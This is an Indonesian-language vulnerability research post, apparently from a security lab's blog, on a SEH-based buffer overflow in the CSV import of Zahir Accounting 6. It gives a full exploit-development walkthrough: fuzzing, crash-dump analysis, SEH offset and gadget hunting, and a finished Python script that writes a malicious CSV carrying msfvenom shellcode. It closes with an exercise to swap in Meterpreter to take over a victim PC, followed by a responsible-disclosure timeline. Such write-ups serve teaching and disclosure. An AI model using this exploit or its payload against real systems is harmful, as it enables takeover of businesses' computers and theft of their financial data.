Zahir Accounting Enterprise Plus 6 <= build 10b 0day Exploit Vulnerability Discovery

Zahir Accounting Enterprise Plus 6 <= build 10b 0day Exploit Vulnerability Discovery

Zahir Accounting adalah software akuntansi yang sangat banyak digunakan oleh tingkatan SOHO (Small Office Home Office) di Indonesia. Selain harganya yang terjangkau, Zahir memiliki fitur yang lebih dari cukup untuk menyelesaikan pencatatan akuntansi yang tanggung, dalam arti mampu menyisir tingkat menengah ke bawah dan juga mampu menghadapi tantangan akuntansi yang hampir mendekati tingkat enterprise. 

Pada kesempatan kali ini, Zahir Accounting masuk di laboratorium riset 0-day Spentera yang fokus pada aplikasi-aplikasi yang dihasilkan oleh anak negeri. Mengingat profil Zahir yang cukup terkenal, merupakan tantangan dan kebanggaan tersendiri bagi kami untuk membedahnya.

Lingkungan Riset dan Tool yang Digunakan

Proses vulnerability discovery ini dilakukan pada sistem operasi Windows 7 dengan beberapa tool yang akan kita gunakan sebagai berikut:

Fuzzing Aplikasi

Seperti biasa proses awal sebuah vulnerability discovery pada aplikasi diawali oleh yang namanya fuzzing. Proses ini biasanya memakan waktu yang lama, tergantung besaran entry point yang terdapat pada aplikasi. Karena aplikasi Zahir merupakan aplikasi klien (bukan aplikasi server yang menjalankan service dan membuka port), maka tehnik yang kami gunakan adalah pendekatan file format fuzzing. Tehnik ini mencoba mencari kerentanan dari sisi input yang akan di proses oleh aplikasi, sisi input ini yang kami sebut juga dengan entry point. Pada aplikasi Zahir, terdapat beberapa entry point berikut:

  • Menu Buka Data, fungsi untuk membaca database lokal atau dari layanan database Firebird.
  • Menu Membuka File Backup, fungsi untuk membuka file backup yang sudah ada
  • Menu Import Data dari Zahir versi 6.0, membuka data dari versi Zahir sebelumnya.
  • Menu Import Data dari file lainnya, membuka data dari file berformat CSV.
  • Menu Import Transaksi, membuka data dari file berformat CSV.

Percobaan fuzzing dilakukan dengan cara mengisi file berformat CSV dengan karakter “A” lalu di inputkan ke dalam program Zahir. Dari semua percobaan fuzzing yang telah dilakukan dengan cara membuat file berformat CSV, fungsi Import Data dari file lainnya-lah yang bereaksi terhadap file CSV yang berisi karakter “A” sebanyak 5000 karakter. Berikut adalah skrip yang digunakan untuk menghasilkan file tersebut.

#!/usr/bin/python

junk = "A" * 2500
junk += '\n\r'
junk += 'A' * 500
junk += "D" * 500

print "[+] Preparing for file.."
filename = "junk.csv"
f = open(filename, 'w')
print "[+] Writing crafted CSV file.."
f.write(junk)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Jika diperhatikan ada karakter ‘\n\r’ yang disematkan antar karakter “A” yang akan dihasilkan. Karakter ‘\n’ biasa kita kenal dengan newline atau Line Feed (LF), sedangkan karakter ‘\r’ yang berarti Carriage Return (CR). Informasi mengenai CR LF dapat dilihat disini.

Dalam beberapa kali percobaan, rupanya program Zahir mengalami kegagalan dalam memproses CR LF ini sehingga menyebabkan program Zahir crash. Untuk memicu error tersebut, kita bisa membuka file junk.csv dari menu File – Import – Import Data dari File Lainnya – Pilih Lanjutkan – Pada menu selanjutnya pilih salah satu, saya memilih Daftar Pelanggan – Lalu pada form Nama File, pilih file junk.csv yang telah dihasilkan oleh skrip di atas – Lalu pilih Lanjutkan.

Terlihat bahwa terdapat pesan error

Error: Access violation at 0x77D5283E (tried to write to 0x0030FE4), program terminated. LastCP is 'RF'.

Pada pesan error juga terdapat hint (LastCP is ‘RF’) yang menjelaskan bahwa crash tersebut terjadi karena CR LF.

Proses Debugging

Berdasarkan informasi tersebut, kita perlu tahu apa yang sebenarnya terjadi ketika file CSV hasil fuzzing (junk.csv) tersebut diproses oleh Zahir. Proses ini biasa kita namakan dengan debugging dan tool untuk debugging kali ini kita akan menggunakan Immunity Debugger. Seperti proses debugging pada umumnya, kita akan menjalankan Immunity Debugger dan membuka program Zahir dengan Immunity Debugger. Namun developer Zahir sepertinya tidak ingin programnya dapat di reverse engineering atau debugging, sehingga ketika kita buka dengan Immunity Debugger, muncul tampilan seperti berikut.

Ketika menemukan error seperti ini, maka proses debugging tidak akan bisa kita lakukan dengan cara membuka program dengan debugger. Ada 2 cara lain jika kita menemukan keadaan seperti ini:

  1. Lakukan debugging dengan cara attaching proses ZahirApp6.exe, tentu saja kita harus jalankan program Zahir dulu sampai semua program tersebut berjalan dengan sempurna, setelah itu kita attach (File – Attach) proses ZahirApp6.exe dengan Debugger. Namun, cara pertama ini gagal karena developer Zahir sukses menghindari attaching process oleh debugger, sehingga ketika file CSV fuzzing (junk.csv) di buka, program tetap crash namun debugger tidak dapat ‘menangkap’ proses crash yang terjadi.
  2. Menangkap crash dump yang dihasilkan ketika Zahir crash dengan file CSV fuzzing (junk.csv) yang sudah kita input ke Zahir. Untuk ‘menangkap’ informasi crash tersebut, dibutuhkan program tambahan yang bernama Procdump.

Crash Dump Analysis

Untuk mendapatkan informasi lebih detail terhadap crash dump yang dihasilkan, kita perlu mengatur bagaimana Procdump dapat menangkap crash dari program Zahir. Untuk itu kita akan menggunakan Procdump dengan perintah berikut:

mkdir c:\crashdump
cd C:\tools\SysinternalsSuite
procdump.exe -ma -I C:\crashdump

Penjelasan tentang perintah di atas:

  • mkdir C:\crashdump, kita membuat tempat dimana procdump akan melempar hasil crash program.
  • procdump -ma -I C:\crashdump, yang berarti menuliskan ‘Full’ dump apabila program crash ke folder C:\crashdump serta jadikan procdump sebagai AEDebug postmortem debugger yang artinya Procdump akan selalu menjadi program yang pertama kali dianggap sebagai debugger oleh sistem operasi.

Setelah Procdump siap, kita akan jalankan kembali program Zahir dan membuka kembali file CSV fuzzing (junk.csv) yang sudah kita siapkan. Kali ini, Procdump akan mencatat semua proses crash dan dapat kita analisa menggunakan Windows Debugger (WinDbg).

Setelah tampilan error CR LF yang sebelumnya kita lihat, muncul window baru dimana Procdump melakukan tugasnya mengumpulkan proses crash yang sedang terjadi. Apabila kita lihat di C:\crashdump, kita bisa lihat 2 buah file telah dihasilkan oleh Procdump.


Untuk menganalisa kedua file ini, kita memerlukan Windows Debugger (WinDbg)

Analisa Crash Dump dengan WinDbg

Buka program WinDbg lalu pilih File – Open Crash Dump, pilih salah satu dari kedua file crash dump tersebut. Kita akan melihat pada Command window bahwa proses berhenti ketika terjadi exception yang kemudian ditangkap oleh Structured Exception Handler (SEH), hal ini dapat kita simpulkan dari module DLL dimana proses exception tersebut terjadi (ntdll_!_SEH_prolog4+0x1a). Jika ingin melihat dari sisi disassembler, pilih View – Disassembly.

Apabila kita lihat pada hasil crash dump di atas terdapat kalimat “This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr.”

Jika kita lihat menggunakan !analyze -v:

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
Zahir!LbcsvRegister$qqrv+49
02504375 f366a5          rep movs word ptr es:[edi],word ptr [esi]

EXCEPTION_RECORD:  0012e600 -- (.exr 0x12e600)
ExceptionAddress: 02504375 (Zahir!LbcsvRegister$qqrv+0x00000049)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 82828282
Attempt to write to address 82828282

PROCESS_NAME:  ZahirApp6.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_PARAMETER1:  00000001
EXCEPTION_PARAMETER2:  00030fe4
WRITE_ADDRESS:  00030fe4 
FOLLOWUP_IP: 
Zahir!LbcsvRegister$qqrv+0
0250432c 51              push    ecx
MOD_LIST: 
NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAILED_INSTRUCTION_ADDRESS: 
+69382faf0387de5c
44444444 ??              ???

CONTEXT:  0012e61c -- (.cxr 0x12e61c)
eax=0012eab4 ebx=00000000 ecx=0000007f edx=82828282 esi=0012eab4 edi=82828282
eip=02504375 esp=0012ea74 ebp=0012ea8c iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010203
Zahir!LbcsvRegister$qqrv+0x49:
02504375 f366a5          rep movs word ptr es:[edi],word ptr [esi]
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER:  from 0250483b to 02504375
FAULTING_THREAD:  ffffffff
BUGCHECK_STR:  APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_FILL_PATTERN_44444444
PRIMARY_PROBLEM_CLASS:  INVALID_STACK_ACCESS_FILL_PATTERN_44444444
DEFAULT_BUCKET_ID:  INVALID_STACK_ACCESS_FILL_PATTERN_44444444

IP_ON_HEAP:  44444444
The fault address in not in any loaded module, please check your build's rebase
log at \bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 44444444

STACK_TEXT:  
0012ea74 02504375 zahir!LbcsvRegister$qqrv+0x49
0012ea94 0250483b zahir!LbcsvTLbCsvGetRecord$qqrpc11DbTGetModeo+0x13f
0012ebd0 41414141 unknown!printable+0x0
0012ebd4 41414141 unknown!printable+0x0
0012ebd8 41414141 unknown!printable+0x0
0012ebdc 41414141 unknown!printable+0x0
0012ebe0 41414141 unknown!printable+0x0
0012ebe4 41414141 unknown!printable+0x0
0012ebe8 41414141 unknown!printable+0x0
0012ebec 41414141 unknown!printable+0x0
0012ebf0 41414141 unknown!printable+0x0
0012ebf4 41414141 unknown!printable+0x0
0012ebf8 41414141 unknown!printable+0x0
0012ebfc 41414141 unknown!printable+0x0
0012ec00 41414141 unknown!printable+0x0
0012ec04 41414141 unknown!printable+0x0
0012ec08 41414141 unknown!printable+0x0
0012ec0c 41414141 unknown!printable+0x0
0012ec10 41414141 unknown!printable+0x0
0012ec14 41414141 unknown!printable+0x0

STACK_COMMAND:  .cxr 0012E61C ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 12ea74 ; kb
SYMBOL_NAME:  zahir!LbcsvRegister$qqrv+0
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: Zahir
IMAGE_NAME:  Zahir.bpl
DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19
FAILURE_BUCKET_ID:  INVALID_STACK_ACCESS_FILL_PATTERN_44444444_c0000005_Zahir.bpl!LbcsvRegister$qqrv
BUCKET_ID:  APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_FILL_PATTERN_44444444_BAD_IP_zahir!LbcsvRegister$qqrv+0
WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/ZahirApp6_exe/6_0_0_1/2a425e19/ntdll_dll/6_1_7601_23889/598d4ce7/c0000005/0005283e.htm?Retriage=1
Followup: MachineOwner
---------

Exception record menunjukkan bahwa exception terjadi pada alamat 0012e600. Kita bisa lihat proses exception terjadi dengan perintah berikut.

0:000> d fs:[0]
003b:00000000  6c 15 03 00 00 00 13 00-00 10 03 00 00 00 00 00 l...............
003b:00000010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................
003b:00000020  88 03 00 00 cc 0c 00 00-00 00 00 00 c0 68 25 00 .............h%.
003b:00000030  00 e0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  28 62 f4 fd 00 00 00 00-00 00 00 00 00 00 00 00 (b..............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:000> d 0003156c
0003156c  ac 1a 03 00 8d 6d 0a 77-30 ec 12 00 28 16 03 00  .....m.w0...(...
0003157c  4b 6d 0a 77 40 16 03 00-30 ec 12 00 5c 16 03 00  [email protected]...\...
0003158c  14 16 03 00 44 44 44 44-30 ec 12 00 40 16 03 00  ....DDDD0...@...
0003159c  30 ec 12 00 17 fa 07 77-40 16 03 00 30 ec 12 00  [email protected]...
000315ac  5c 16 03 00 14 16 03 00-44 44 44 44 00 00 00 00  \.......DDDD....
000315bc  40 16 03 00 00 00 00 00-00 00 00 00 00 00 00 00  @...............
000315cc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000315dc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> d 00031aac
00031aac  ec 1f 03 00 8d 6d 0a 77-30 ec 12 00 68 1b 03 00  .....m.w0...h...
00031abc  4b 6d 0a 77 80 1b 03 00-30 ec 12 00 9c 1b 03 00  Km.w....0.......
00031acc  54 1b 03 00 44 44 44 44-30 ec 12 00 80 1b 03 00  T...DDDD0.......
00031adc  30 ec 12 00 17 fa 07 77-80 1b 03 00 30 ec 12 00  0......w....0...
00031aec  9c 1b 03 00 54 1b 03 00-44 44 44 44 00 00 00 00  ....T...DDDD....
00031afc  80 1b 03 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00031b0c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00031b1c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> d 00031fec
00031fec  2c 25 03 00 8d 6d 0a 77-30 ec 12 00 a8 20 03 00  ,%...m.w0.... ..
00031ffc  4b 6d 0a 77 c0 20 03 00-30 ec 12 00 dc 20 03 00  Km.w. ..0.... ..
0003200c  94 20 03 00 44 44 44 44-30 ec 12 00 c0 20 03 00  . ..DDDD0.... ..
0003201c  30 ec 12 00 17 fa 07 77-c0 20 03 00 30 ec 12 00  0......w. ..0...
0003202c  dc 20 03 00 94 20 03 00-44 44 44 44 00 00 00 00  . ... ..DDDD....
0003203c  c0 20 03 00 00 00 00 00-00 00 00 00 00 00 00 00  . ..............
0003204c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0003205c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> d 0003252c
0003252c  6c 2a 03 00 8d 6d 0a 77-30 ec 12 00 e8 25 03 00  l*...m.w0....%..
0003253c  4b 6d 0a 77 00 26 03 00-30 ec 12 00 1c 26 03 00  Km.w.&..0....&..
0003254c  d4 25 03 00 44 44 44 44-30 ec 12 00 00 26 03 00  .%..DDDD0....&..
0003255c  30 ec 12 00 17 fa 07 77-00 26 03 00 30 ec 12 00  0......w.&..0...
0003256c  1c 26 03 00 d4 25 03 00-44 44 44 44 00 00 00 00  .&...%..DDDD....
0003257c  00 26 03 00 00 00 00 00-00 00 00 00 00 00 00 00  .&..............
0003258c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0003259c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Pada proses dump terhadap exception handler dengan melihat langsung pada tiap handler, dapat kita lihat di atas bagian berwarna merah menunjukkan alamat handler berikutnya. Kita bisa lihat bahwa handler terus mencoba mengatasi exception hingga pada akhirnya program mengalami crash. Dengan menjalankan perintah !exchain, terlihat bahwa exception chain berhenti pada alamat 0012ec30.


Jika kita melakukan dump pada alamat tersebut (0012ec30):

0:000> d 0012ec30
0012ec30 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec40 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec50 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec60 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec70 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec80 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec90 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012eca0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD

Dengan melihat tampilan di atas, hal tersebut membuktikan bahwa kita berhasil mengisi stack dengan buffer (junk) yang telah disiapkan (junk.csv). Berdasarkan informasi tersebut dapat kita simpulkan bahwa:

  • Terkonfirmasi bahwa program Zahir memiliki kerentanan yang dapat di eksploitasi, yaitu melalui kerentanan CR LF.
  • Dengan kerentanan CR LF ini, kita bisa mengambil alih aliran eksekusi program Zahir.
  • Berdasarkan hasil crash dump bahwa telah terjadi exception, maka proses eksploitasi ini akan menggunakan tehnik untuk bypass SEH.

Mengingat terdapat exception handler yang mengendalikan kondisi program apabila terjadi kesalahan, maka proses eksploitasi menjadi sedikit berbeda dari proses eksploitasi biasa dengan tehnik direct RET. Untuk membaca mengenai proses eksploitasi direct RET bisa membaca dokumen yang pernah saya tulis sebelumnya dengan judul Exploit Development: Basic Stack-based Overflow. Informasi mengenai proses eksploitasi SEH juga bisa dibaca dengan detail pada postingan di blog Spentera dengan judul SEH Based Stack Overflow – The Basic.

Eksploitasi dengan Tehnik SEH

Pada proses eksploitasi dengan tehnik SEH, kita akan menimpa alamat exception handler (SEH) dan alamat penunjuk exception handler selanjutnya (Next SEH). Bisa kita lihat dari diagram berikut (ide gambar dari Peter Van Eeckhoutte (Corelan)).

Pada proses eksploitasi kali ini, perlu agak tricky menentukan di mana kita mencari alamat ketika junk buffer (A) menimpa SEH dan Next SEH. Untuk itu seperti biasa kita akan menggunakan bantuan skrip pattern_create.rb dari Metasploit dan memodifikasi skrip eksploitnya.

#!/usr/bin/python

bag1= "hasil metasploit pattern_create"
pisah = '\r\n'
bag2 = "sebagian dari hasil metasploit pattern_create"

print "[+] Preparing for file..."
filename = "metasjunk.csv"
f = open(filename, 'w')
print "[+] Writing crafted malicious CSV file.."
f.write(bag1+pisah+bag2)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Pada percobaan pertama, saya menghasilkan 3000 karakter acak dengan pattern_create.rb dan memecahnya menjadi 2 bagian.

  • Bag1 saya isi dengan 2500 karakter acak
  • Bag2 saya isi dengan 500 karakter acak sisanya

Hasil skrip tersebut kita impor lagi ke Zahir dan kita analisa hasilnya.

Terlihat bahwa alamat 0012ec30 tertimpa dengan angka 73443173 yang merupakan karakter acak hasil dari pattern_create.rb. Untuk mengetahui offset atau posisi bytes ketika SEH tertimpa dengan buffer yang kita pilih, kita bisa menggunakan pattern_offset.rb.

Ternyata posisi offset ketika SEH tertimpa adalah di byte 2884. Hal ini menjadi sangat menarik karena jika kita lihat di atas, kita membagi buffer menjadi bag1 (2500 bytes) dan bag2 (500 bytes), dan rupanya offset berada di bytes 2884. Artinya ada kelebihan 384 bytes pada buffer bag1 (2500 bytes) yang menimpa stack sehingga setelah itu bytes berikutnya akan menimpa SEH dan Next SEH (nSEH). Berdasarkan analisis ini, kita perlu mengubah skrip skeleton eksploit kita menjadi seperti ini:

#!/usr/bin/python

bag1= "A" * 2500
pisah = '\r\n'
bag2 = "B" * 384
nseh = "CCCC"
seh = "DDDD"
tambahan = "E" * 500

print "[+] Preparing for file..."
filename = "seh-junk.csv"
f = open(filename, 'w')
print "[+] Writing crafted malicious CSV file.."
f.write(bag1+pisah+bag2)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Dari skrip di atas kita coba menimpa SEH dan nSEH dengan karakter C dan D. Apabila kalkulasi kita benar, maka pada alamat Next SEH akan terisi dengan karakter C (0x43434343) dan pada SEH akan terisi karakter D (0x44444444). Kita buka lagi program Zahir dan lakukan hal yang sama seperti sebelumnya, load kembali file junk kali ini dengan nama seh-junk.csv.

Loading unloaded module list
.....................................................
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(740.8f0): Access violation - code c0000005 (first/second chance not available)
eax=00000020 ebx=77856d8d ecx=0003105c edx=77856c74 esi=00031100 edi=00000000
eip=7786283e esp=00030fe8 ebp=00031018 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
ntdll!_SEH_prolog4+0x1a:
7786283e 53 push ebx
0:000> !exchain
0003156c: ntdll!ExecuteHandler2+3a (77856d8d)
00031aac: ntdll!ExecuteHandler2+3a (77856d8d)
00031fec: ntdll!ExecuteHandler2+3a (77856d8d)
.............
0012e52c: ntdll!ExecuteHandler2+3a (77856d8d)
0012ea94: *** WARNING: Unable to verify checksum for Zahir.bpl
*** ERROR: Symbol file could not be found. Defaulted to export symbols for Zahir.bpl - 
Zahir!LbcsvTLbCsvGetRecord$qqrpc11DbTGetModeo+1df (025f48db)
0012ec30: 43434343
Invalid exception stack at 42424242
0:000> d 0012ec30
0012ec30 42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45 BBBBCCCCDDDDEEEE
0012ec40 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec50 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec60 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec70 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec80 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec90 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012eca0 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE

Melihat hasil di atas, rupanya kita ada salah perhitungan sehingga posisi SEH yang seharusnya tertimpa dengan karakter D (0x44444444) malah tertimpa dengan karakter C (0x43434343). sedangkan Next SEH yang seharusnya tertimpa dengan karakter C (0x43434343) malah tertimpa dengan karakter B (0x42424242). Karakter E (0x45454545) sudah sangat sesuai dengan keinginan kita, sehingga tidak ada yang perlu kita rubah terkait hal tersebut. Posisi karakter E ini akan kita ganti dengan shellcode jika perhitungan kita sudah sesuai.
Kesalahan perhitungan ini akan kita perbaiki segera dengan mengganti skrip menjadi berikut.

#!/usr/bin/python

bag1= "A" * 2500
pisah = '\r\n'
bag2 = "B" * 380
nseh = "CCCC"
seh = "DDDD"
tambahan = "E" * 500

print "[+] Preparing for file..."
filename = "seh-junk.csv"
f = open(filename, 'w')
print "[+] Writing crafted malicious CSV file.."
f.write(bag1+pisah+bag2)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Hasilnya:

0012ea94: *** WARNING: Unable to verify checksum for Zahir.bpl
*** ERROR: Symbol file could not be found. Defaulted to export symbols for Zahir.bpl - 
Zahir!LbcsvTLbCsvGetRecord$qqrpc11DbTGetModeo+1df (029e48db)
0012ec30: 44444444
Invalid exception stack at 43434343

Setelah hasil kalkulasi kita sesuai, saatnya kita mencari perintah berurut POP r32 POP r32 dan RET. Alamat ini dengan mudah dapat kita cari dengan bantuan tool mona.py yang sudah kita siapkan sebelumnya. Cara instalasi mona pada Windbg dapat dilihat pada dokumentasi Corelan disini. Untuk menjalankannya, kita hanya perlu menjalankan perintah berikut pada window Command:

0:000> .load pykd.pyd
0:000> !py mona

Jalankan perintah !py mona seh untuk mendapatkan hasilnya. Pada proses ini saya menemukan alamat 0x52016661 yang merupakan urutan perintah pop ecx # pop ebp # ret 0x04 diambil dari file vcl100.bpl. File ini merupakan file bawaan instalasi, sehingga apabila kita mengambil alamat POP r32 POP r32 RET dari file bawaan instalasi program, maka akan membuat proses eksploitasi ini menjadi reliable di versi Windows lainnya.
Sebelum kita merubah alamat SEH menjadi 0x52016661, kita harus ingat bahwa setelah SEH tertimpa dengan alamat tersebut, maka aliran program akan langsung menuju Next SEH. Pada posisi Next SEH inilah, kita akan melempar aliran program ke tempat dimana bakal shellcode kita berada.

Mengambil Alih Aliran Program

Ketika SEH sudah terambil alih, maka aliran program berikutnya akan berlanjut ke Next SEH, karena Next SEH berisi alamat SEH berikutnya. Namun pada kasus ini, alamat SEH berikutnya sudah dapat kita kendalikan dan sudah terisi dengan karakter E (masih ingat?). Artinya, apabila kita mengisi Next SEH dengan perintah untuk membawa kita alamat berikutnya, kita dapat mengambil alih aliran program secara sempurna.
Kita akan mengisi alamat Next SEH dengan lompatan kecil untuk ‘melewati’ alamat SEH sebelumnya, sehingga proses selanjutnya akan langsung membawa kita ke karakter E. Proses eksploitasi ini adalah proses eksploitasi khas SEH yang umum. Namun karna pada kasus kali ini kita melakukan debug dari crash dump, kita tidak dapat memasang breakpoint pada alamat SEH.

Pada kenyataannya hal ini tidak akan merubah aliran eksploitasi dan kita akan melakukannya secara buta. Agar lebih jelas saya langsung memodifikasi skrip sebelumnya dan menambahkan shellcode, hasilnya dapat kita lihat pada skrip berikut.

#!/usr/bin/python

bag1 = "A" * 2500
pisah = '\r\n'
bag2 = "B" * 380
nseh = "\xeb\x08\x90\x90"
seh = "\x61\x66\x01\x52"
nop = "\x90\x90\x90\x90"
# msfvenom -p windows/exec CMD=calc -f python -v shellcode
shellcode = ""
shellcode += "\xba\x15\x88\x74\x16\xdb\xd3\xd9\x74\x24\xf4\x58"
shellcode += "\x31\xc9\xb1\x30\x31\x50\x13\x83\xc0\x04\x03\x50"
shellcode += "\x1a\x6a\x81\xea\xcc\xe8\x6a\x13\x0c\x8d\xe3\xf6"
shellcode += "\x3d\x8d\x90\x73\x6d\x3d\xd2\xd6\x81\xb6\xb6\xc2"
shellcode += "\x12\xba\x1e\xe4\x93\x71\x79\xcb\x24\x29\xb9\x4a"
shellcode += "\xa6\x30\xee\xac\x97\xfa\xe3\xad\xd0\xe7\x0e\xff"
shellcode += "\x89\x6c\xbc\x10\xbe\x39\x7d\x9a\x8c\xac\x05\x7f"
shellcode += "\x44\xce\x24\x2e\xdf\x89\xe6\xd0\x0c\xa2\xae\xca"
shellcode += "\x51\x8f\x79\x60\xa1\x7b\x78\xa0\xf8\x84\xd7\x8d"
shellcode += "\x35\x77\x29\xc9\xf1\x68\x5c\x23\x02\x14\x67\xf0"
shellcode += "\x79\xc2\xe2\xe3\xd9\x81\x55\xc8\xd8\x46\x03\x9b"
shellcode += "\xd6\x23\x47\xc3\xfa\xb2\x84\x7f\x06\x3e\x2b\x50"
shellcode += "\x8f\x04\x08\x74\xd4\xdf\x31\x2d\xb0\x8e\x4e\x2d"
shellcode += "\x1b\x6e\xeb\x25\xb1\x7b\x86\x67\xdf\x7a\x14\x12"
shellcode += "\xad\x7d\x26\x1d\x81\x15\x17\x96\x4e\x61\xa8\x7d"
shellcode += "\x2b\x9d\xe2\xdc\x1d\x36\xab\xb4\x1c\x5b\x4c\x63"
shellcode += "\x62\x62\xcf\x86\x1a\x91\xcf\xe2\x1f\xdd\x57\x1e"
shellcode += "\x6d\x4e\x32\x20\xc2\x6f\x17\x43\x85\xe3\xfb\x84"

tambahan = "E" * 500

print "[+] Preparing for file..."
filename = "works.csv"
f = open(filename, 'w')
print "[+] Writing crafted malicious CSV file.."
f.write(bag1+pisah+bag2+nseh+seh+nop+shellcode+tambahan)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Saya menambahkan sejumlah baris NOP agar ketika lompatan kecil pada Next SEH (\xeb\x08\x90\x90) mendarat pada NOP sebelum ke shellcode. Hal ini sering dilakukan oleh exploit developer agar proses jump ke shellcode dapat berjalan dengan baik. Hasilnya:

Owned!
Kita berhasil mengambil alih aliran program Zahir dan mengeluarkan kalkulator hanya dengan sebuah file works.csv.

Extra Miles

Pada skrip python di atas, saya menggunakan shellcode hasil dari msfvenom untuk mengeluarkan kalkulator. Sebagai bahan latihan:

  1. Gunakan shellcode meterpreter untuk mengambil alih PC korban
  2. Temukan bad chars yang tersembunyi

Vulnerability Discovery Timeline

1 September 2017 Menghubungi pihak Zahir melalui Pusat Dukungan. Tiket terbuat dengan nomor tiket #JTC-534-70652 (http://zahir.info/index.php?/Tickets/Ticket/View/JTC-534-70652). Tiket ditugaskan ke bapak Ahdan Sadid.
12 September 2017 Meminta respon terhadap tiket yang belum ditindaklanjuti kepada bapak Ahdan Sadid
15 September 2017 Meminta respon terhadap tiket yang belum ditindaklanjuti kepada bapak Indra Septiady
18 September 2017 Pihak Zahir merespon atas nama bapak Indra Septiady yang akan menindaklanjuti informasi dari Spentera.
19 September 2017 Spentera memberikan skrip dan link video privat yang dapat digunakan sebagai pembuktian konsep temuan kerentanan.
28 September 2017 Tiket ditutup oleh pihak Zahir namun karena tidak ada tanggapan dari lebih lanjut, Spentera membuka kembali tiket dengan nomor #JTC-534-70652. Bersamaan dengan ini pula Spentera menanyakan hasil investigasi laporan yang sudah diberikan, serta jadwal perbaikan terhadap temuan tersebut.
24 Agustus 2018 Spentera membuka kembali tiket dengan nomor #ZYL-522-86966. Bersamaan dengan ini pula Spentera menanyakan hasil investigasi laporan yang sudah diberikan, serta jadwal perbaikan terhadap temuan tersebut.
11 September 2018 Tidak ada respon dari pihak Zahir, sehingga Spentera melaporkan temuan ini ke Pusat Operasi Keamanan Siber Nasional Badan Siber dan Sandi Negara dengan alamat email [email protected].
23 September 2018 Request CVE to Mitre.
1 Oktober 2018 Publikasi di Exploit-DB (https://www.exploit-db.com/exploits/45505/) dan blog Spentera